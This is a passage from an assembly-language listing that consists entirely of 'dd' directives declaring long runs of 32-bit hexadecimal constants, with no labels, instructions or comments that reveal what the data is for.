		dd 0E9E012A6h, 0FC098F39h, 0C153362Ah, 5B02060Ah, 103CCC77h
		dd 2405399Dh, 438E9090h, 0CEB1D727h, 0F99D993Ah, 506739D1h
		dd 22A11350h, 80D52BA5h, 40BC92FDh, 8F71D203h, 138CBFC4h
		dd 0BE6B3AA4h, 2A991644h, 75BD0130h, 0D95013CBh, 86291DC0h
		dd 0B8F98F5Ch, 173B7203h, 0D815AA6Ch, 9D4162Ah,	0FC8ABB32h
		dd 2404C702h, 0EFE48EEDh, 0EC960BE8h, 5DCDF0D3h, 0ABF0111h
		dd 5B15F54Eh, 6DE63F6Ah, 73E162F0h, 385B4CECh, 0F6698BB1h
		dd 3A1379BCh, 0B282514Bh, 36C57703h, 402BCDA5h,	0E22247D3h
		dd 1220E548h, 5BB3EF15h, 0FFDE8A04h, 25DBEFD1h,	0BAC08E81h
		dd 0D4D3FDAAh, 2F2508CDh, 165C65F5h, 0EC41A9ACh, 0A74F4E96h
		dd 0F6009E2h, 57916A86h, 72596E10h, 0D1C59500h,	401E43B6h
		dd 1CB39C58h, 2D18519Dh, 0E33702h, 0B4D8C74Bh, 0D7123059h
		dd 0B4F019C1h, 90283B53h, 0A09CBB04h, 2A73EF50h, 0A59BFDDFh
		dd 1326B8D3h, 85B7035Dh, 0C4007458h, 0E95358BDh, 96950DE8h
		dd 0D44449D5h, 4A66E4Fh, 501453Fh, 208BE7C6h, 18951E61h
		dd 9D90F9D5h, 0EEB8C313h, 13002E4Dh, 52D54EA3h,	2DD886h
		dd 3A9F5D9Bh, 5F22B3B1h, 0E805FFB0h, 9029D960h,	0E89D004h
		dd 0E8A4A5ACh, 114580DEh, 0CAAF63h, 37E17E59h, 9F138A36h
		dd 0C688501Eh, 80823084h, 849DBBADh, 0AB106195h, 9D015F70h
		dd 7AAF9559h, 39F6FB6h,	3F0CA72Ah, 8848A976h, 7F95CB40h
		dd 7F2D5835h, 0B91B8516h, 0E801E8D6h, 54E05D3h,	5EAF502h
		dd 0D930A9C1h, 0A5332AD6h, 671F84F0h, 0C3B02E91h, 8C53810h
		dd 3C70E618h, 7125E4F8h, 0D28869F5h, 52FA1E54h,	6E8BA176h
		dd 17B94B20h, 7B98CAh, 9A9E5FD0h, 6FE1C6D5h, 0F8FE6002h
		dd 5D3784C0h, 0BD2AA466h, 9095BEA1h, 71FC9907h,	2EBC2C8Ch
		dd 0FD8A09A3h, 0B325A658h, 29A0607Ah, 15DD258Dh, 0FE609C6Ah
		dd 93094F7Ch, 0D18B08h,	0D76AF7BCh, 590165E9h, 0EA0BC4F9h
		dd 0AEB34F44h, 93D85ACh, 124D25B6h, 1BC999C4h, 0FD8D8B1Dh
		dd 9252B929h, 18577882h, 90E78095h, 5A3E5CB5h, 19AEEFC2h
		dd 0A9041ADFh, 149151F7h, 79C6AB27h, 0A5508504h, 5224FE18h
		dd 26101489h, 14F85B1Eh, 0B096395h, 0A6A9B99Dh,	0B8088F53h
		dd 0AD311DF8h, 6A924B56h, 0BBBCE4FDh, 6D78B301h, 15D8DE14h
		dd 4AB26630h, 7F8CDD02h, 7602746Ah, 752B95Ch, 4E50D2A9h
		dd 0F537BDh, 99D1BB63h,	93B043F3h, 0FC8001F4h, 4A15EE29h
		dd 0F69982Eh, 2BDFB709h, 0DC8E56D2h, 9AA64B25h,	0D1B6029Ch
		dd 0DA7F560Dh, 0A470BDD3h, 76E800F3h, 14F44C5Dh, 9D1329C7h
		dd 7AFB2F11h, 83E1004Bh, 0BCE889CBh, 98D9C6Ah, 0BB582D3Bh
		dd 4445EF9Fh, 0F934EB95h, 0A7D626A8h, 26A5EA8h,	24F7592Ch
		dd 0B6116039h, 56017683h, 70B07A77h, 8C89C0Fh, 4DAF0E5Ch
		dd 0AD7215E5h, 529AD3A1h, 9C9F2F80h, 0E00414BFh, 0BEB2733Ch
		dd 76AD08B8h, 0F512E0A8h, 26B6097Ah, 2B021802h,	9C552D9Dh
		dd 96D684C1h, 4C00DC5Dh, 20E9FD1h, 0E1B873F0h, 40E0C577h
		dd 0A001D269h, 0B1D03522h, 0C4204F06h, 0B2294A7Dh, 0D7F9D6C3h
		dd 927F82A8h, 0E41979Ah, 40C18120h, 0E104FF30h,	5BFCB357h
		dd 17A11BB8h, 0B8F72E04h, 32A658A0h, 6ED36516h,	0ECD3181h
		dd 44D22079h, 9E03FDEBh, 0F959C4A0h, 9DA230B8h,	0D625A828h
		dd 0E66093D2h, 4FC7E0ABh, 21C50325h, 832E88BBh,	4A00B8DCh
		dd 62E0A2A6h, 2257C68h,	56FE6106h, 6600F873h, 189638A7h
		dd 16003B93h, 0ACA4D37Bh, 584E9E8h, 9D23304Eh, 4F49EA51h
		dd 3417725Fh, 0C1430136h, 2ABD2BEFh, 73B98674h,	0E70016A8h
		dd 0E1E874F1h, 9A84CB80h, 6DC9257Ch, 45D743C2h,	0DD352D36h
		dd 39ED6400h, 754B1FCBh, 0C61C2F44h, 4A50690h, 0E2E5C805h
		dd 1DAE5C3Eh, 0B7768116h, 7F6ABF02h, 5117236Fh,	20FFFC4Eh
		dd 3310BD1Ah, 0E3005895h, 0B096C05Ah, 50DE9Ch, 0EF6886B1h
		dd 8B0A3EC3h, 3481FA01h, 21C01024h, 9554C13Fh, 0C2CB2A1Eh
		dd 0A0A0A64Fh, 3F229C8h, 440122F4h, 724E200Fh, 620051B2h
		dd 0E68EFD52h, 780B41E7h, 536ED7Bh, 0C9491D72h,	0A777715Bh
		dd 67E94DE0h, 94F7014Ah, 0B9DA4DA0h, 3AE10B0Dh,	352B92E3h
		dd 2C72815Ah, 0CFD92ABEh, 2B39F13Fh, 252C3F76h,	0D55B2E82h
		dd 17B5ADh, 9A7E50C5h, 0E613B835h, 360420F9h, 29030A0Dh
		dd 1F9C71B5h, 0A2B7013Ch, 0AFDEEF81h, 912637F9h, 5DBD010Dh
		dd 0FB7B2AADh, 0B158F84Fh, 2B6C73B3h, 0BD12C648h, 0B4B2AC17h
		dd 34C0259Ah, 320B9406h, 891FBF04h, 0D1805AFEh,	72F95D7h
		dd 0C047E168h, 82B3F7CCh, 0F1566A98h, 5EBC1E02h, 0A1027F33h
		dd 6277DCE3h, 5318AB3Fh, 4AE9783Fh, 1DC4A516h, 0E8B3C8h
		dd 4CC6F6C5h, 472BBB37h, 7C2D0A74h, 6AC69867h, 0A0E100F1h
		dd 42DFC69Bh, 31133C3Eh, 2C42E3E9h, 4CDAB70Fh, 0C78101ACh
		dd 73213E43h, 6D6E3B61h, 0BB321F12h, 2329F304h,	23977FABh
		dd 0F24A1314h, 6A5A0032h
		dd 392BA5FBh, 0E6F10029h, 0DB1458D0h, 0F412E4E2h, 0C04716Ch
		dd 38AA2FFDh, 0FB97369Ch, 7562D837h, 0C7A47924h, 0A0D91Fh
		dd 43A8E781h, 21E914E8h, 631231D2h, 6BACDF94h, 69E697EEh
		dd 0DA85EFA0h, 0F6001EFCh, 0FB8B6D89h, 254929BBh, 71C5719Bh
		dd 8652B617h, 1901096Fh, 6875CBBFh, 0AFBEE449h,	53E1F895h
		dd 7FC5F729h, 4C7ABA04h, 73C2127Ch, 0C7AF3078h,	0D300E49Fh
		dd 57077DFFh, 2FE20280h, 299A6E05h, 4DE71C40h, 6F8D744Bh
		dd 21C9B63Eh, 9B3248Ch,	805408ADh, 71D8C9EEh, 0F90BBF5Eh
		dd 71985096h, 990008A2h, 7401305h, 0EC042660h, 0FFEA0551h
		dd 0BCC989CAh, 6FDA2E56h, 12F89617h, 4ACECA4Ah,	1AC8D89Ah
		dd 76D22FC0h, 37DB2F27h, 8CB84C82h, 0C85E6792h,	4D0D00DCh
		dd 0BDE963CBh, 0B112AE7Ah, 0EFA9DF8Bh, 0A1E9B6D2h, 0D43895CFh
		dd 0B953120h, 0F627D6E3h, 77B6AD00h, 0F4509BDAh, 18F500C8h
		dd 78C9F381h, 90961BCh,	0CE11C59Dh, 0E9C29747h,	8B75E362h
		dd 0AD9FADDh, 42D74BE3h, 412C60F7h, 9101CA57h, 2369A364h
		dd 0CD7FB8AEh, 0F942948Ch, 205012D6h, 0ABB846B9h, 0CA048AE8h
		dd 0CBF99356h, 14D1A81h, 0E5550905h, 4F5BADA9h,	0B25899A3h
		dd 12350014h, 9097385Eh, 8F80D458h, 4C73250Ah, 10B756C6h
		dd 9253133h, 6AD00377h,	8400B7DFh, 0EFBEC6C8h, 3DE859C0h
		dd 0E2CB4B11h, 7843E02h, 1BB9CA0Fh, 66194D10h, 46DE171Ah
		dd 22F0F635h, 0F7310007h, 1687B83Ch, 87BC5BEFh,	0DCBAF46Bh
		dd 0AA0AF400h, 0CFFAD7A3h, 96F8258Ah, 0FB41CFDAh, 0F90702h
		dd 585A6160h, 906704DFh, 3D1C53h, 4FE666BDh, 0DA3CF9CAh
		dd 0D9F13207h, 0EA608485h, 9C96784Ah, 0A913DC8Ah, 61EFEAE7h
		dd 2821B50Eh, 44DA4B43h, 0BAC116C8h, 0D4205CBCh, 95A29A31h
		dd 24BF9998h, 4A20B212h, 37887CE2h, 0A3CF8180h,	505ED27Ch
		dd 9FD99850h, 108310BDh, 8884EFAEh, 0BA94197Bh,	0F1A15B05h
		dd 506B2E92h, 0E5001C23h, 3EBC7C42h, 0AE916F6h,	0C170048Dh
		dd 5475AB10h, 0B731CEC2h, 8216113Ch, 6851938Eh,	977E3B46h
		dd 40F38A1Ah, 249D670h,	7A839A14h, 0CBE06034h, 5081058Dh
		dd 975BFADCh, 7B6BA914h, 7040FB45h, 0B12CA11h, 4404DE8Bh
		dd 0B712069Dh, 0FEB94EC9h, 0D03A7A8h, 374063D4h, 20BAD5CFh
		dd 3578019h, 0E22AF004h, 7AEFC69Dh, 33881249h, 0F6D2F2E2h
		dd 0C14FE0D3h, 2EDD0021h, 0D8E9F863h, 7CE3FFF2h, 79FF72CEh
		dd 498CB83Ch, 8D4BA3D3h, 6AF73F08h, 13DEFA27h, 80429B7Eh
		dd 0E55FBDACh, 6330E46Fh, 0D7814650h, 68D97998h, 0D6601017h
		dd 60A7A009h, 404A5452h, 0B67E54B4h, 79080201h,	58F8CDB1h
		dd 9B7D82Eh, 18B9855Ah,	452D313Bh, 21832BAFh, 0A6E5167Bh
		dd 5ECAE2B9h, 0DA012F4Eh, 0BC50D55Ah, 0ABFC47Ch, 4F1498E4h
		dd 0C44DADA8h, 0F615A4C0h, 945E1796h, 3BCF0643h, 8A4B4CB9h
		dd 2BC00CC4h, 97E99529h, 0B725EF14h, 93CDC483h,	0EA61D008h
		dd 36EBAF03h, 7B6570A6h, 55BC0BF2h, 1037D1FFh, 0EFC5386h
		dd 0BBDF124Ah, 8BF0E254h, 0E0A6DEA3h, 7E8AC303h, 0DADB2C01h
		dd 0E0493A07h, 4B6AEED8h, 80B5DB02h, 45B67BCBh,	2287B0C2h
		dd 0F85A018Eh, 9EF81584h, 0CE1F2880h, 0FF009FC8h, 265E98A9h
		dd 1F7E623Ah, 2C5F17B4h, 0B0512DE7h, 0F5C42Dh, 0AD11679Dh
		dd 494ECF8Ch, 84F5BC0Eh, 0AFEC02CAh, 0AF3BE51Dh, 0DD003635h
		dd 0BD9CA592h, 234903CFh, 9D0B554Eh, 0A9DD209Ah, 0C4E759CAh
		dd 0AF83852Bh, 0D613216Fh, 0BA4D5273h, 0E2B3AE12h, 6090F80Eh
		dd 0CDD6B820h, 615B34B4h, 708359F8h, 0D0F05F5Ah, 511632FAh
		dd 3FC8585Bh, 0FCED0039h, 38CD7180h, 1A02C69Ch,	615F1BBEh
		dd 402DD450h, 55F49B7Eh, 146F3Eh, 12BF9057h, 976D5DC0h
		dd 0BDF7FA12h, 0E4E9012Ah, 70DA4B75h, 2C412D17h, 8107642Eh
		dd 2F17E132h, 1AE60775h, 4E29E0E7h, 1E250E83h, 271C4A5h
		dd 11D53796h, 2DE1E293h, 7F6A1219h, 42E045EDh, 128A5A4Dh
		dd 0FC1E336Fh, 82D658E6h, 0D41FC9B5h, 50D1427Fh, 15C20C5Eh
		dd 0BF900B01h, 0B7007436h, 43E44F20h, 1CBBF144h, 0E523061Dh
		dd 0F28419E2h, 70E60622h, 677D6772h, 0DB56603h,	8471E42Dh
		dd 25BD80A4h, 605FDE22h, 7D1CA309h, 35D5CF30h, 2C8FE901h
		dd 17D935Ah, 3196E26Ah,	0C8B6445Eh, 5AC1A030h, 0D0DCBC51h
		dd 0E39D7AEDh, 0A9574BC6h, 7E4E48E5h, 52512F02h, 54299D31h
		dd 655B1CA2h, 8102C95Ah, 2BA1C5E7h, 0D79A57C8h,	2797436Ch
		dd 40F5EB2Eh, 0F790E937h, 5C6EA0C0h, 35107502h,	23A6622Ah
		dd 27355E0Bh, 5E0E8A84h, 29D24B78h, 1C892810h, 0E922204Dh
		dd 0D372CE49h, 1A5DA009h, 0B1E455DEh, 7CB4102h,	0C09EE285h
		dd 137E86ADh, 64CDFF0h,	0ED10F91Ch, 1C3C1197h, 0F1CE0714h
		dd 1A5D5D9h, 89F5FE2Ch,	81625095h, 0C94B1FCFh, 4C7C31D8h
		dd 50023701h, 6A5FBAB3h, 0E00CED5Fh, 0F8FC4383h, 11AA7B97h
		dd 0CBEC1C11h, 7DF52700h, 0FBEA75h, 71A5F925h, 0C5078B78h
		dd 993B919h, 0F543572Ch, 5214F072h, 3DF6A15Bh, 3F83DD6Ah
		dd 9700076Ah, 9A618DCBh, 14485DCEh, 0E5092A80h,	0A5E09BA6h
		dd 0ED550200h, 99094C60h, 156A0414h, 0AEFC4D9Ch, 13C0499Bh
		dd 264B5182h, 0FEF64D02h, 5BC02BB6h, 0C0DD726Dh, 6DB2B74h
		dd 0C784504Bh, 0EDB721BAh, 0D7BFE0B3h, 140220F6h, 71D46B23h
		dd 0F522C2F9h, 0BD11D704h, 0FFA6F486h, 0D1D80A0h, 9E2C23Ch
		dd 7E3CB076h, 0F8A143DCh, 807C6FF0h, 5F4FCB09h,	4A25568Bh
		dd 977720EBh, 1B117335h, 0AF12CC80h, 5E128AA3h,	91CAC20h
		dd 2D70DA7Ah, 0BAA59D23h, 0E545B5E2h, 970B1551h, 0F57EAC21h
		dd 1F5765C8h, 13244A0Eh, 15E5027Ah, 275E4448h, 0B8144651h
		dd 8B528105h, 372E5FF8h, 12559BDEh, 0CC9C48BDh,	9FFF72E1h
		dd 26009CB7h, 1533FCC6h, 91DF01ABh, 0D58589A7h,	8E2B21h
		dd 4804EE10h, 0B4292A97h, 4460B89Ch, 4FD4E542h,	30F3DBh
		dd 6C7455D3h, 2527F3F1h, 0DDC55B0Eh, 0CF04DC09h, 0A87F421Fh
		dd 94A0C479h, 0C795D577h, 6D701B19h, 147F8AB2h,	74B001F1h
		dd 88FE7059h, 5664CC34h, 8094C500h, 0C1860D99h,	60B12FBAh
		dd 0AD00AA37h, 0F5CF6CAAh, 0A2BB0352h, 5B668FD2h, 7DD98C91h
		dd 9D6EB942h, 6122E52h,	85E0A1B6h, 4E50FD92h, 9417028Eh
		dd 79F24C97h, 0C47EF200h, 0A230DE7Ch, 0C712F400h, 0EB0A17F9h
		dd 0A1955B83h, 24442EEFh, 0C7BD0152h, 3B292EE9h, 3DA87569h
		dd 1000C87Fh, 0BF0755FCh, 5A8B71E9h, 0B230E6DFh, 0F9AE301Ah
		dd 1F5C1806h, 3F8C6D2h,	0D6BB50D8h, 0B1C4F610h,	456E2B60h
		dd 0C45ADF00h, 0D4CE7398h, 29556A0Eh, 0F7E27395h, 0B5107A48h
		dd 10013B26h, 680008DDh, 61EC8156h, 0E5B16051h,	59B84E80h
		dd 0AEE5BCh, 0BEAFF76Ah, 48683ED6h, 514232C0h, 975B6158h
		dd 82A94681h, 0E4C16EF3h, 752F18E5h, 0D0B01F46h, 2C194828h
		dd 4ABBC93Dh, 1A88FDDAh, 64E100C9h, 16DA0E67h, 0F88D0F3Ch
		dd 0B55FC19Fh, 0DE6BEEE9h, 0C4A6C03Ch, 1C3F66E4h, 25AD8529h
		dd 0C6A59A73h, 594DB73Ch, 0D5C60FC2h, 0EAFC3D42h, 0D6C80E0Bh
		dd 0F602F4BBh, 0B521A966h, 3F7D51EFh, 149CC602h, 7F5EA18Fh
		dd 80EEB5E9h, 0A4F279FBh, 5D16886Dh, 0E017D3FEh, 33B73F9h
		dd 8927925Eh, 8202FA56h, 4C17ABA0h, 890CA2D3h, 277D7306h
		dd 6E0081B5h, 0FC59783Fh, 3B3701CCh, 8953B350h,	0F2E66E34h
		dd 4B84E8F4h, 97E7B012h
		dd 8FD09A5Fh, 0B551A04Ch, 5ACCBF66h, 933DE2A2h,	0BAC021FCh
		dd 0D9A4AE77h, 50BCB217h, 0FA409B30h, 303DFA02h, 0BF6B8B5Bh
		dd 0F63C716Fh, 129DF012h, 0C461F1D5h, 60E8C85Bh, 35C4B5h
		dd 0AA706551h, 6461EF31h, 1F88B35Fh, 90F700E5h,	0E7B292F8h
		dd 3702A02Dh, 615E7EAFh, 0E024ED58h, 4708809Dh,	53E9C104h
		dd 2E8EE1Dh, 78BEA1D6h,	8DD82640h, 4DA658AFh, 4922BABh
		dd 1B8D6Bh, 0CFEF8161h,	4DC42CC2h, 0D4FB6041h, 1F000601h
		dd 76AB46DCh, 9D9A98Eh,	0A5F55F4Dh, 4DEBBC79h, 0F171401Bh
		dd 0B504DD5Eh, 0F98BB2B3h, 4BA2B0B8h, 80FD3D5Fh, 4023FB68h
		dd 0CD8085F7h, 3AE98028h, 0C9BD58D7h, 64E7C8BDh, 0BCCEA94Bh
		dd 0B99DC8B9h, 29BD074Eh, 9A12A9E8h, 2FF2870Fh,	5D248E21h
		dd 5E15A909h, 0A8F77138h, 0EF85506Bh, 30BE44A0h, 0D4CEF6EBh
		dd 417D632Dh, 0A2050A20h, 9F1E00C8h, 334DE5F5h,	0B6920274h
		dd 1930BB0Eh, 7B093AD7h, 378F504Eh, 5F0052FCh, 63BB69A0h
		dd 97233B6Fh, 0A0414C95h, 0A3F4E5F2h, 5A901489h, 4125E3FFh
		dd 0E712EAC4h, 0E0F69EC4h, 5251BD16h, 7EE7A128h, 0E0164220h
		dd 7FC8002Eh, 0EDCD644Bh, 66580A08h, 70F8029Dh,	754D3947h
		dd 0F8504E89h, 2A2610BFh, 386D0114h, 0BA835ABCh, 365EF80Bh
		dd 7D99307h, 70795758h,	5B79950Fh, 0D55D2980h, 0FF22946Fh
		dd 7F40E6C4h, 3C2B1CD0h, 0B846CBECh, 965FF5E0h,	2AD38102h
		dd 426B3F6Ch, 0FEBF5D07h, 8779BA0Ah, 31184D08h,	0DA2EED0Ch
		dd 46DC4674h, 0E4EB001Bh, 73BE425Fh, 20744E14h,	3920314Ah
		dd 337FC001h, 969A592Eh, 0BF0F0626h, 17E91C60h,	0E0AD31D1h
		dd 9D3C79E9h, 3D7D1309h, 0EA578946h, 0C586C9D0h, 80C0DB97h
		dd 0A08C7017h, 9404BF1Ch, 33B5A9B2h, 572CDD82h,	0C7132C9Ch
		dd 1DA06318h, 36EA1CBBh, 342278Fh, 0F9B7F5h, 39FE03E5h
		dd 6EB50706h, 0F38012F0h, 3CFF3E5h, 69952950h, 0D7A15F1Bh
		dd 0B81094F6h, 86A6B450h, 98C0F6A2h, 73BE1EBAh,	0F46254A5h
		dd 0DD14DA17h, 466E5D04h, 2A802EFCh, 3263FE6Dh,	0DC0018B0h
		dd 0D221BCB5h, 167B5528h, 4BB7AEE8h, 0C5A9F9E2h, 9DC0816Dh
		dd 0AA037E6Bh, 763D5D8Bh, 80842F8Fh, 45E60CE0h,	0A1424F32h
		dd 0B5C83F1Dh, 5BAB25DFh, 0B5A5347Bh, 13010024h, 0E566FADCh
		dd 0E635B01Dh, 11BBE5E5h, 0F7800030h, 0DBBB5023h, 75E82A4Dh
		dd 7813B398h, 30A9F7Ch,	0BF2E5D78h, 29199DA3h, 0CB6A0CF2h
		dd 36DA4FE4h, 402E0B8Ah, 902931BBh, 88CC4B4Bh, 5C9497F8h
		dd 63604345h, 0DD244B15h, 8B092B3Ch, 0F474D6C6h, 0C6FF960Ah
		dd 3099F1CBh, 0F93C8057h, 0AB1915C5h, 1F81C23Ch, 0D78A8CF3h
		dd 0A841161Fh, 0A8B85ABDh, 0C1B10133h, 15458DC0h, 9906EB5h
		dd 57F56053h, 0EF5692C2h, 0DC6AF88Bh, 0F405DEE2h, 101D9531h
		dd 0EDA2D724h, 21A47601h, 852088AAh, 168B5A86h,	7A5ECDBBh
		dd 0F6A001A6h, 8E77C112h, 0E0555704h, 52C1D477h, 90011FF5h
		dd 630A3060h, 8D0FCD12h, 4CBA51D0h, 3541174Ah, 9630FA61h
		dd 14BC2ECh, 655E8939h,	651EC377h, 7F7403EAh, 982142B0h
		dd 0FFEB6600h, 44947905h, 1FB30170h, 0C90613E3h, 0DEC56BB5h
		dd 30F58DEFh, 906B5BD6h, 6D255FA0h, 0BCA0AD6Ah,	0FAE19FBDh
		dd 5126A50h, 6C7AAFh, 93F4A973h, 12E94597h, 0F3079BBFh
		dd 0AA512615h, 151E8001h, 7FC68D5Bh, 0D3EB8647h, 0A8000EBh
		dd 79376A6Eh, 0AF42F609h, 21740213h, 0D1FF022Ch, 0F4E0A74Dh
		dd 0FEADDB75h, 890809CBh, 1F790CD4h, 7BAF134Fh,	0BA140076h
		dd 8CA7AA96h, 6A0312C9h, 0E153A602h, 983B1A9Fh,	8C1EBBDEh
		dd 88DF9018h, 61315665h, 1005E9C8h, 24AD17C2h, 275EF442h
		dd 2D8B806Ah, 0ECFB3F19h, 0DC0024C4h, 22188F95h, 0F2B15EFDh
		dd 0EDD502EBh, 0A8B31FE0h, 2BBD3BE1h, 0C329B553h, 3AA82F7Dh
		dd 21409D00h, 3E517F2Eh, 0B3DB4A31h, 91C15F6Bh,	0CE6AA2E9h
		dd 8B6410F5h, 241584h, 1AC002BFh, 219A9725h, 887170D3h
		dd 82E0E0h, 8BB0F550h, 39BB90FBh, 45F8591Eh, 8C2E90EDh
		dd 0CB61002Ch, 535A6CE7h, 16000144h, 0C1A7F5F1h, 94902EC9h
		dd 2D300922h, 693E287Bh, 2705715Ah, 11D0FE53h, 0F9FC1294h
		dd 4591096Eh, 80492579h, 8A1F7001h, 9E6A7D68h, 7397DC75h
		dd 793F0920h, 973D4702h, 4A5F9DC2h, 0FADF04F9h,	5A88F6B9h
		dd 258A2DBFh, 0E004560Eh, 5B040DFDh, 2B6480B0h,	97DDB5h
		dd 70E661F2h, 0E1D70181h, 0E430A0BDh, 0F7F36B71h, 97DEA240h
		dd 6727F226h, 0F97FEF4h, 0AE896AD8h, 8930F749h,	0C189039Dh
		dd 4E1B233Ah, 8AD832BBh, 5B049243h, 0A49D403h, 0EFA2D0AAh
		dd 0E62221A5h, 0B7520B26h, 79445B9Dh, 0D63C9500h, 2DC1A3FCh
		dd 0C82B0C8Ah, 69ECD18Bh, 3BA91D4Bh, 9A5FFC89h,	51BC04Eh
		dd 1C898814h, 80CA5B95h, 0E2BC208Eh, 0AC09B3AFh, 6F3909h
		dd 3ADC53E8h, 5D1D1C50h, 0F88B4921h, 4D9DDB02h,	670B0A9h
		dd 0A4EC604Fh, 21D68BCBh, 84229B4Eh, 0BB008AA2h, 7CF37889h
		dd 2C009F7Fh, 0DFFC920Ah, 9E22BF8h, 9C0B794h, 0AF133804h
		dd 231A5432h, 0B5E5FE9h, 4BDD31A8h, 5FB0D0F3h, 3934B589h
		dd 0C5EB931Ch, 5362C871h, 0E0B70E12h, 342123F2h, 8869A88h
		dd 79AD03EDh, 0D90E00C0h, 5685C3F4h, 1714C412h,	0E35F160Ah
		dd 26577802h, 18DAE235h, 890186B9h, 3B612FF5h, 4B050CCEh
		dd 0ECED6ADAh, 0CDEF46E5h, 0D380E490h, 15F5516h, 0F5034009h
		dd 0C1F8B414h, 2AB91E40h, 129908AFh, 0F221DD85h, 92BB0330h
		dd 0B50A20A4h, 0E0E39C02h, 0D4E9E272h, 0C02B8C9Fh, 1297D8BEh
		dd 0CD3E82BEh, 85305D2Ch, 0D009733Ah, 7382996Fh, 816D69A2h
		dd 23EB9B40h, 1F5527BDh, 0FB4355CFh, 1F1C809Ah,	0E2FF0C92h
		dd 61CA3AE0h, 56654297h, 775C27B2h, 9DA412F4h, 693E011Ah
		dd 2B28E5B3h, 1CC821DAh, 37832DC0h, 0FB7A0018h,	0BB2E0315h
		dd 1225DFDDh, 77D0CA75h, 0A02993Dh, 0D06CFCF9h,	0C1E253Eh
		dd 7C7A1379h, 7500D4E6h, 5A7F51EEh, 0F4E1F264h,	8A5B4BFCh
		dd 0F92525EAh, 61B89235h, 2B1BB13Ah, 0B80CD9Ch,	0E1FF8FEBh
		dd 850490DBh, 0C9B82E09h, 7B03D2E1h, 826DD8h, 1665871Dh
		dd 63DCAAFDh, 5F9AC812h, 0CF84BAE2h, 0C2129E03h, 414E014Ch
		dd 3C2EC9CFh, 79E968B5h, 17AAE864h, 3EB37FCh, 468D4F1Eh
		dd 2EF960D9h, 0E6129616h, 0A80175B1h, 0CC6A2329h, 0F589DA79h
		dd 0B750312Ah, 0FE302B8Ah, 161CCB81h, 0B37877D5h, 3019F2DAh
		dd 0F29D1ACDh, 8D313947h, 6A08B0DEh, 806AB797h,	8501A66Bh
		dd 4AD310D9h, 0FE0286F2h, 15BA2DF1h, 45F3E857h,	7DC9075Eh
		dd 90ABF4E1h, 0CFFDFB68h, 0D4819737h, 0D84F0623h, 0F3E5B529h
		dd 0CCE8742Bh, 0E1006879h, 0B86A19F9h, 0EFA0B5h, 0E74FB926h
		dd 1AFCDF20h, 0F3C5AC4Ah, 0E97BFEh, 5BA2C1DEh, 4EEA373h
		dd 0BCE9F9D7h, 59FC0901h, 7E5EA5C6h, 0E85B1810h, 0D2A1D2FFh
		dd 0D69ADE2Bh, 1B181B8h, 0ABC3449Dh, 26843375h,	0FCC4B2A8h
		dd 3E01AE89h, 77B7E010h, 0C817DA6Ah, 8809C015h,	89259D33h
		dd 0F81D7331h, 0F6013B33h, 1ABFE2ACh, 0DA60BA8Dh, 0B9600150h
		dd 79F9D473h, 74B6861h,	2B4B5FBBh, 0A58C5929h, 0D407EFF9h
		dd 607FD235h, 0B4B1CE66h, 9E7A40h, 63540764h, 986AF9C0h
		dd 51BD3109h, 0C51C5516h, 5CD88A25h, 0D6414967h, 0FBECCF0h
		dd 0CD61C43Eh, 64FE2594h, 0A4E4A368h, 0D0BF845Fh, 33A234h
		dd 6E1EA98Dh, 0E26A6336h
		dd 0F6584E61h, 2BEBE04Dh, 0D67B909Dh, 8850A9BCh, 609E800Ah
		dd 0E227B17h, 0E4376F00h, 32ECBBEBh, 0F1735AD9h, 5256006Bh
		dd 5F4E5B56h, 6CC0029Eh, 0A13AAF93h, 0AC54B209h, 21097F38h
		dd 46D6095Eh, 0E4AC5A19h, 5A0B89CBh, 9B618585h,	66B4C087h
		dd 1314320Fh, 0EE8764B5h, 0BF526A30h, 6EA70993h, 0CE595B35h
		dd 0D9096063h, 44372861h, 97F83B00h, 396F7050h,	2759E500h
		dd 0C249FC84h, 25D07FC6h, 0DA456152h, 5B252F1Ch, 0F45BD079h
		dd 589C957Ah, 5CB1C009h, 849D6469h, 693BAB39h, 0A77EE6E5h
		dd 60E131E0h, 81DF3970h, 3612333Eh, 0D6C10407h,	0A1A3AC0Ah
		dd 0BA05041Ah, 71E53D1Dh, 4407C446h, 61FE27B7h,	2B2BF752h
		dd 7BFB7713h, 1FB64AA0h, 9832BF02h, 0BAD57EA0h,	55357F80h
		dd 0E3C40125h, 0CD76053Bh, 919D8B02h, 986C121Ch, 9CC92F00h
		dd 0B574FCA1h, 3A730044h, 64EBF52Dh, 0A501486Dh, 9618725Ah
		dd 22605060h, 59C22EE4h, 27BA60E1h, 7D00D66Fh, 86C0EAD8h
		dd 0B5959ADEh, 96F9F1E0h, 742B7B5h, 0A08CEC0Fh,	0F6500DEBh
		dd 1BB39B14h, 29DBD7C6h, 34D1B3C2h, 0BF605D56h,	561AFA30h
		dd 5016CA75h, 0D712E857h, 0A2ED12EAh, 0B69B4E35h, 0F2F49C87h
		dd 9770348Ch, 66F04B25h, 0A9F84B55h, 8C17AC0Ah,	2D52320Bh
		dd 8684575Dh, 38A0122Fh, 45952F09h, 50259E5Ah, 0C2314D20h
		dd 385F8AB8h, 25BD2941h, 38732CA5h, 0AF25C5A8h,	1E4266E7h
		dd 574D381h, 0FF6A331Eh, 80DE6D9Bh, 2EF02795h, 0E3121258h
		dd 7BB8F694h, 1670154Eh, 0EC2DAD4Ah, 0F9764B42h, 6D24D774h
		dd 0E01CC0FAh, 0C9004AE5h, 741C27A1h, 0B679795h, 0D88B070Bh
		dd 0FC49F5D9h, 302D4F5h, 0D62682E6h, 0A6667FB6h, 7AEB810Fh
		dd 0D94C6976h, 0BEDB81D4h, 2FCCA76Ah, 0FA69DD20h, 44090361h
		dd 0B9DED757h, 0CDD372A0h, 4AAD5F5Dh, 1BAC12B9h, 0F948008Ch
		dd 0A14FA3A2h, 6DB5EA2Dh, 60176499h, 4A543B39h,	355FCAF7h
		dd 0DBEE2648h, 51FCC05Eh, 5624BFDh, 29467A25h, 0C8835350h
		dd 773C5FDDh, 239000BDh, 60FF20C7h, 0D17F00AEh,	3076C568h
		dd 0B06BE0Ah, 1B3D8D89h, 0DA5B4B9Ch, 0C31AC8B8h, 0DA908D1Ch
		dd 0BE4DAC92h, 879F1213h, 0E72B98B5h, 0E08CA371h, 25DC95E7h
		dd 0CC6C790Ch, 2142E5ECh, 8BD1A131h, 99E32FBDh,	49A4984Ah
		dd 0A5625B9Ch, 8E3DD703h, 0B920B100h, 38A116F1h, 0E35FC6F6h
		dd 7E6700CDh, 0A84729E7h, 93AF2CC2h, 16710867h,	8B085B12h
		dd 0F98A8902h, 0F37ACE56h, 3667512Dh, 36E91602h, 2746DEACh
